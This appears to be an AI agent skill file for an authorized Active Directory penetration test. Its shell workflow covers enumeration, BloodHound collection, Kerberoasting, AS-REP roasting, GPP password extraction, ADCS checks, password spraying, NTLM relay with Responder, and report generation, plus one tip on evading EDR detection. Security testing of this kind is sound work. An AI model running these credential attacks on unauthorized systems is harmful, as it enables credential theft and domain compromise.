| name | ad-pentest |
| description | Active Directory pentest with BloodHound attack path analysis, Kerberos/ADCS attacks, credential harvesting, and lateral movement |
| license | MIT |
| metadata | {"category":"recon","locale":"en","phase":"v1"} |
What this skill does
Performs a structured Active Directory penetration test across six phases: unauthenticated enumeration, authenticated enumeration with BloodHound, credential attacks (Kerberoasting, AS-REP Roasting, NTLM relay), privilege escalation via ACL abuse and ADCS misconfigurations, lateral movement, and domain dominance. Produces a findings report with attack paths and remediation guidance.
AUTHORIZED TESTING ONLY. All techniques in this skill are for use exclusively in environments where written authorization has been obtained. Unauthorized use is illegal.
When to use
- When performing an authorized internal penetration test of a Windows/AD environment
- When assessing AD attack surface for a red team or security review engagement
- When validating defensive controls (tiering, LAPS, Protected Users, Credential Guard)
- When generating BloodHound attack path data for remediation prioritization
Prerequisites
pip install impacket ldapdomaindump bloodhound certipy-ad crackmapexec
go install github.com/ropnop/kerbrute@latest
git clone https://github.com/lgandx/Responder /opt/Responder
Inputs
| Variable | Required | Description |
|---|
SECSKILL_DC_IP | required | Domain controller IP address |
SECSKILL_DOMAIN | required | Target domain FQDN (e.g. corp.example.com) |
SECSKILL_DOMAIN_SHORT | optional | NetBIOS domain name (e.g. CORP) |
SECSKILL_AD_USER | optional | Authenticated domain username (phases 2–6) |
SECSKILL_AD_PASS | optional | Authenticated domain password |
SECSKILL_AD_HASH | optional | NTLM hash for pass-the-hash (format: LM:NT) |
SECSKILL_OUTPUT_DIR | optional | Directory for results (default: ./output) |
Workflow
Step 1: Unauthenticated enumeration
export DC="${SECSKILL_DC_IP:?Set SECSKILL_DC_IP}"
export DOMAIN="${SECSKILL_DOMAIN:?Set SECSKILL_DOMAIN}"
export OUTDIR="${SECSKILL_OUTPUT_DIR:-./output}"
TIMESTAMP=$(date -u '+%Y%m%dT%H%M%SZ')
mkdir -p "$OUTDIR"
echo "[*] Phase 1: Unauthenticated enumeration"
UNAUTH_OUT="$OUTDIR/phase1_unauth_${TIMESTAMP}.txt"
echo "--- DC discovery via DNS ---" | tee -a "$UNAUTH_OUT"
nslookup -type=SRV _ldap._tcp.dc._msdcs."$DOMAIN" "$DC" >> "$UNAUTH_OUT" 2>/dev/null
nslookup -type=SRV _kerberos._tcp."$DOMAIN" "$DC" >> "$UNAUTH_OUT" 2>/dev/null
echo "--- SMB signing check ---" | tee -a "$UNAUTH_OUT"
crackmapexec smb "$DC" 2>/dev/null | tee -a "$UNAUTH_OUT"
echo "--- LDAP anonymous bind ---" | tee -a "$UNAUTH_OUT"
ldapsearch -x -H "ldap://$DC" -b "" -s base "(objectclass=*)" \
namingContexts 2>/dev/null | tee -a "$UNAUTH_OUT"
echo "--- Password policy via null session ---" | tee -a "$UNAUTH_OUT"
crackmapexec smb "$DC" --pass-pol 2>/dev/null | tee -a "$UNAUTH_OUT"
echo "--- Kerberos user enumeration ---" | tee -a "$UNAUTH_OUT"
echo "Note: provide a userlist file at \$OUTDIR/userlist.txt for kerbrute"
if [ -f "$OUTDIR/userlist.txt" ]; then
kerbrute userenum --dc "$DC" --domain "$DOMAIN" "$OUTDIR/userlist.txt" \
-o "$OUTDIR/kerbrute_valid_users.txt" 2>&1 | tee -a "$UNAUTH_OUT"
fi
echo "--- LLMNR/NBT-NS poisoning (detection only — do not start Responder without auth) ---" \
| tee -a "$UNAUTH_OUT"
echo " Run: sudo python3 /opt/Responder/Responder.py -I <interface> -A (analyze mode only)" \
>> "$UNAUTH_OUT"
echo "[+] Phase 1 output: $UNAUTH_OUT"
Step 2: Authenticated enumeration (BloodHound)
export USER="${SECSKILL_AD_USER:?Set SECSKILL_AD_USER for authenticated phases}"
export PASS="${SECSKILL_AD_PASS:?Set SECSKILL_AD_PASS}"
echo "[*] Phase 2: Authenticated enumeration"
AUTH_OUT="$OUTDIR/phase2_auth_${TIMESTAMP}.txt"
echo "--- BloodHound collection ---" | tee -a "$AUTH_OUT"
bloodhound-python \
-u "$USER" -p "$PASS" \
-d "$DOMAIN" -dc "$DC" \
-c All \
--zip \
-o "$OUTDIR/bloodhound_${TIMESTAMP}/" 2>&1 | tee -a "$AUTH_OUT"
echo "--- LDAP domain dump ---" | tee -a "$AUTH_OUT"
ldapdomaindump \
-u "${DOMAIN}\\${USER}" -p "$PASS" \
"ldap://$DC" \
-o "$OUTDIR/ldapdump_${TIMESTAMP}/" 2>&1 | tee -a "$AUTH_OUT"
echo "--- GPO enumeration ---" | tee -a "$AUTH_OUT"
python3 -m impacket.examples.GetADUsers \
-all "${DOMAIN}/${USER}:${PASS}" \
-dc-ip "$DC" 2>/dev/null | tee -a "$AUTH_OUT"
echo "--- SPN enumeration (Kerberoastable accounts) ---" | tee -a "$AUTH_OUT"
python3 -m impacket.examples.GetUserSPNs \
"${DOMAIN}/${USER}:${PASS}" \
-dc-ip "$DC" \
-request \
-outputfile "$OUTDIR/kerberoast_hashes.txt" 2>&1 | tee -a "$AUTH_OUT"
echo "--- AS-REP Roasting candidates ---" | tee -a "$AUTH_OUT"
python3 -m impacket.examples.GetNPUsers \
"${DOMAIN}/${USER}:${PASS}" \
-dc-ip "$DC" \
-request \
-outputfile "$OUTDIR/asrep_hashes.txt" \
-format hashcat 2>&1 | tee -a "$AUTH_OUT"
echo "--- ADCS certificate template enumeration ---" | tee -a "$AUTH_OUT"
certipy find \
-u "${USER}@${DOMAIN}" -p "$PASS" \
-dc-ip "$DC" \
-vulnerable \
-output "$OUTDIR/certipy_${TIMESTAMP}" 2>&1 | tee -a "$AUTH_OUT"
echo "[+] Phase 2 output: $AUTH_OUT"
echo "[!] Import BloodHound ZIP into BloodHound GUI for attack path analysis"
Step 3: Credential attacks
echo "[*] Phase 3: Credential attacks"
CRED_OUT="$OUTDIR/phase3_credentials_${TIMESTAMP}.txt"
echo "--- Password spraying (1 attempt per user) ---" | tee -a "$CRED_OUT"
echo "Note: check password policy from Phase 1 before spraying"
echo " Run: crackmapexec smb $DC -u userlist.txt -p 'Password1' --no-bruteforce" \
>> "$CRED_OUT"
if [ -s "$OUTDIR/kerberoast_hashes.txt" ]; then
echo "--- Cracking Kerberoast hashes (hashcat mode 13100) ---" | tee -a "$CRED_OUT"
echo " Run: hashcat -m 13100 $OUTDIR/kerberoast_hashes.txt /path/to/wordlist.txt" \
>> "$CRED_OUT"
echo " Hashes saved to: $OUTDIR/kerberoast_hashes.txt" | tee -a "$CRED_OUT"
fi
if [ -s "$OUTDIR/asrep_hashes.txt" ]; then
echo "--- Cracking AS-REP hashes (hashcat mode 18200) ---" | tee -a "$CRED_OUT"
echo " Run: hashcat -m 18200 $OUTDIR/asrep_hashes.txt /path/to/wordlist.txt" \
>> "$CRED_OUT"
echo " Hashes saved to: $OUTDIR/asrep_hashes.txt" | tee -a "$CRED_OUT"
fi
echo "--- NTLM relay (ntlmrelayx) ---" | tee -a "$CRED_OUT"
cat >> "$CRED_OUT" <<'RELAY'
Prerequisites: SMB signing disabled on target (confirmed in Phase 1)
Step 1 (terminal 1): sudo python3 /opt/Responder/Responder.py -I <iface> --disable-ess --lm
Step 2 (terminal 2): python3 -m impacket.examples.ntlmrelayx -tf targets.txt -smb2support
Purpose: Relay captured NTLM authentication to SMB targets
RELAY
echo "--- GPP cPassword (MS14-025) ---" | tee -a "$CRED_OUT"
python3 -m impacket.examples.Get-GPPPassword \
"${DOMAIN}/${USER}:${PASS}" \
-dc-ip "$DC" 2>&1 | tee -a "$CRED_OUT"
echo "[+] Phase 3 output: $CRED_OUT"
Step 4: Privilege escalation analysis
echo "[*] Phase 4: Privilege escalation analysis"
PRIVESC_OUT="$OUTDIR/phase4_privesc_${TIMESTAMP}.txt"
echo "--- ADCS ESC vulnerability summary ---" | tee -a "$PRIVESC_OUT"
if [ -f "$OUTDIR/certipy_${TIMESTAMP}_Certipy.txt" ]; then
grep -E "ESC[0-9]+" "$OUTDIR/certipy_${TIMESTAMP}_Certipy.txt" \
| tee -a "$PRIVESC_OUT"
fi
> **Reference**: See [REFERENCE.md](REFERENCE.md) for Kerberos delegation abuse, ACL-based escalation paths, and ADCS ESC1–ESC11 variants.
echo "[+] Phase 4 output: $PRIVESC_OUT"
echo "[!] Load BloodHound data and run shortest-path queries to DA/EA"
Step 5: Lateral movement assessment
echo "[*] Phase 5: Lateral movement assessment"
LATERAL_OUT="$OUTDIR/phase5_lateral_${TIMESTAMP}.txt"
> **Reference**: See [REFERENCE.md](REFERENCE.md) for lateral movement technique commands (PtH, PtT, Overpass-the-Hash, remote execution, DCOM).
if [ -f "$OUTDIR/hosts_in_scope.txt" ]; then
echo "--- WinRM reachability check ---" | tee -a "$LATERAL_OUT"
crackmapexec winrm \
-u "$USER" -p "$PASS" -d "$DOMAIN" \
--target-file "$OUTDIR/hosts_in_scope.txt" 2>/dev/null \
| tee -a "$LATERAL_OUT"
fi
echo "[+] Phase 5 output: $LATERAL_OUT"
Step 6: Generate findings report with remediation
echo "[*] Phase 6: Generating consolidated findings report"
REPORT="$OUTDIR/ad_pentest_report_${TIMESTAMP}.txt"
cat > "$REPORT" <<HEADER
=======================================================
ACTIVE DIRECTORY PENETRATION TEST REPORT
Domain : $DOMAIN
DC IP : $DC
Date : $(date -u '+%Y-%m-%d %H:%M:%S UTC')
Scope : AUTHORIZED ASSESSMENT — $(hostname)
=======================================================
AUTHORIZATION: This assessment was conducted under written authorization.
All findings are for defensive improvement purposes only.
HEADER
for PHASE_FILE in \
"$UNAUTH_OUT" \
"$AUTH_OUT" \
"$CRED_OUT" \
"$PRIVESC_OUT" \
"$LATERAL_OUT"; do
if [ -f "$PHASE_FILE" ]; then
echo "" >> "$REPORT"
echo "##############################################" >> "$REPORT"
echo "# $(basename "$PHASE_FILE")" >> "$REPORT"
echo "##############################################" >> "$REPORT"
cat "$PHASE_FILE" >> "$REPORT"
fi
done
> **Reference**: See [REFERENCE.md](REFERENCE.md) for remediation guidance covering Tier 0 hardening, Kerberos, ADCS, credential protection, ACL hygiene, and key monitoring event IDs.
echo "[+] Report written to $REPORT"
echo ""
echo "===== AD Pentest Assessment Summary ====="
echo "Domain : $DOMAIN"
echo "DC IP : $DC"
echo "BloodHound : $OUTDIR/bloodhound_${TIMESTAMP}/"
echo "LDAP dump : $OUTDIR/ldapdump_${TIMESTAMP}/"
echo "Kerberoast : $OUTDIR/kerberoast_hashes.txt"
echo "AS-REP hashes : $OUTDIR/asrep_hashes.txt"
echo "ADCS findings : $OUTDIR/certipy_${TIMESTAMP}*"
echo "Full report : $REPORT"
echo "=========================================="
Done when
- Phase 1 unauthenticated enumeration output is saved (DC discovery, SMB signing, LDAP anon bind)
- Phase 2 BloodHound ZIP is collected and ADCS templates enumerated
- Phase 3 Kerberoast/AS-REP hashes captured (if any Kerberoastable/AS-REP-roastable accounts exist)
- Phase 4 ADCS ESC findings and ACL escalation paths documented
- Phase 5 lateral movement reachability checked against in-scope hosts
- Consolidated report with remediation guidance is written to
$SECSKILL_OUTPUT_DIR
Failure modes
| Symptom | Cause | Resolution |
|---|
KRB_ERR_CLIENT_REVOKED | Account locked out | Reduce spraying frequency; verify lockout threshold |
bloodhound-python: no module named | impacket/bloodhound not installed | pip install bloodhound impacket |
| LDAP bind refused | Anonymous bind disabled (default 2003+) | Requires valid credentials; skip to Phase 2 |
certipy no CAs found | No ADCS deployed or no permissions | Skip ADCS phase; note in report |
| Responder not capturing | LLMNR/NBT-NS disabled (good) | Document as finding; move to authenticated attacks |
| crackmapexec SMB timeout | Host firewalled or offline | Verify host is in scope and reachable on port 445 |
Notes
- AUTHORIZED TESTING ONLY. Every technique here generates Windows event log entries and can be detected by EDR/SIEM. Ensure engagement rules of engagement (ROE) are documented before starting.
- BloodHound GUI queries for prioritized paths: "Shortest Paths to Domain Admins", "Principals with DCSync Rights", "Computers where Domain Users are Local Admins".
- Run
certipy-ad (Python) over Certify.exe (C#) when possible to avoid EDR detections on Windows binary execution.
ldapdomaindump output (HTML files) provides a human-readable inventory; import JSON output into BloodHound for path analysis.
- Kerberoasting RC4 hashes (etype 0x17) are faster to crack than AES (0x11/0x12); document all etype 0x17 service accounts as findings even if not cracked.
- For NTLM relay, confirm SMB signing is disabled (
signing: False in CrackMapExec output) before activating Responder — relaying against signing-enabled hosts will fail silently.